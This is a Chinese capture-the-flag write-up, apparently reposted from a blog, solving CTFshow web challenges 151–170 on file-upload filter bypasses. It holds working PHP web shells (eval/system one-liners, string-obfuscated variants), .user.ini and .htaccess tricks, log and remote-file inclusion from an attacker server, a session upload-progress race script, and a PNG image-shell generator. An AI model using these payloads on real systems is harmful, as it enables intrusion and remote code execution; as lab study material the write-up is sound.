CTFshow-WEB入门-文件上传(持续更新)

web151

前端检测,抓包改后缀。

web152

直接传

web153

php2, php3, php4, php5, phps, pht, phtm, phtml
经过测试全都不行。因此环境是nginx不是apache,所以.htaccess也不行。访问一下/upload/目录,发现页面存在,经过测试,/upload/index.php存在,因此想到上传.user.ini
在这里插入图片描述
在这里插入图片描述

web154

经过测试,文件里不能有php,而且对后缀进行了过滤,同样利用.user.ini,文件内容的过滤则利用PHP的短标签:<?=即可:

在这里插入图片描述
在这里插入图片描述

web155

同上。


------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png

GIF89a
<?= eval($_POST[0]);?>
------WebKitFormBoundaryUpTShwppxfZXSbY7--

------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file="1.feng"
------WebKitFormBoundaryUpTShwppxfZXSbY7--

另外羽师傅的WP里面提到了4种php的标签,摘录如下:
1、

<? echo '123';?>

前提是开启配置参数short_open_tags=on
2、

<?=(表达式)?>  等价于 <?php echo (表达式)?>

不需要开启参数设置

3、

<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、

<script language=”php”>echo '123'; </script>

不需要修改参数开关,但是只能在7.0以下可用。

所以如果是php7以下的版本,思路就可以更开拓一些了。

web156

经过测试,发现过滤了[和],拿{}绕过即可。

web157

在之前的基础上把{}和分号也给过滤了,所以直接读flag.php。没有分号的话,直接最后面拿?>闭合就可以了。


------WebKitFormBoundary949cEK9448VGhzDU
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png

GIF89a
<?= system("cat /var/www/html/fl*")?>
------WebKitFormBoundary949cEK9448VGhzDU--

web158

同上

web159

把括号也给过滤了,用反引号即可。

web160

反引号和空格也给ban了,想着文件包含,远程文件包含马试试,马写自己服务器上,然后远程包含:

GIF89a
<?=include"http://118.***.***.***/feng"?>

成功执行命令。

再尝试包含一下日志文件,发现log也被ban了,所以不行。
不过其实还是可以的,是我太菜了,可以这样:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

学会变通!

web161

好像增加了对于图片的判断,加上图片头即可。

web162

又用到了前面的session文件包含。具体参考利用session.upload_progress进行文件包含和反序列化渗透
参考羽师傅的脚本,自己模仿着写了一个:

import requests
import threading

url="http://4101ed9a-5734-4c58-a661-5697ba7b2325.chall.ctf.show"

data={
    
    
    "PHP_SESSION_UPLOAD_PROGRESS":'<?php system("cat /var/www/html/flag.php");?>'
}
files={
    
    
    "file":"feng.txt"
}
cookies={
    
    
    "PHPSESSID":"feng"
}

def upload():
    global url,data,files,cookies
    while 1:
        requests.post(url=url,data=data,files=files,cookies=cookies)
def getFlag():
    global url
    while 1:
        r=requests.get(url=url+"/upload/index.php").text
        if "flag{" in r or "ctfshow{" in r:
            print(r)

t1=threading.Thread(target=upload,args=())
t2=threading.Thread(target=getFlag,args=())
t1.start()
t2.start()

web163

同上,但是条件竞争的概率特别特别特别低。。。也可能是我网速的问题。

web164

考察的是二次渲染,自己也是很菜,第一次遇到二次渲染,参考了羽师傅推荐的文章:Upload-Labs第Pass-16通关(二次渲染绕过) 详解
上传png的图片马,脚本如下:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    
    
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

本地用脚本改一下图片,然后上传上去,再下载就可以执行命令:
在这里插入图片描述
看到download.php?image=,怀疑可能是文件包含啥的,所以可以执行命令,不然的话也还是不行的。不过根据源代码,也确实是文件包含:

$file= $_GET['image'];

$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.png' && file_exists("./upload/".strrev($file))){
    
    
	header('Content-Type:image/png');
	include("./upload/".strrev($file));
}else{
    
    
	echo "图片错误";
}}

web165

jpg图片的二次渲染,用上一题的文章里的处理jpg图片的脚本即可,不过需要找一个合适的jpg图片才行,我试了三四十张图片都不行,吐了,放弃。

web166

zip文件的上传,但是没有任何的检测,直接把php一句话木马的后缀改成zip,然后上传即可。

web167

看到httpd,和apache有关。提到apache会想到.htaccess,因此上传.htaccess 解析.jpg就可以了:

AddType application/x-httpd-php .jpg

web168

过滤了eval和system,那么用反引号即可:

<?php echo `cat /var/www/html/*`;?>

看了一下羽师傅的WP,还给了很多的绕过姿势,学习了:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169

好难传,bp抓包都抓不到,一直说类型不对,传zip终于能抓到包,但是还说类型不对。
再把Content-Type改成image/png就可以正常传php了,不过这题过滤的实在太多,因为上传.user.ini包含日志文件,UA头里面写马,然后上传的那个php文件没什么用,只是为了配合.user.ini。


------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--


------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--

UA头里面写马,然后命令执行即可。

web170

同上

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/112894997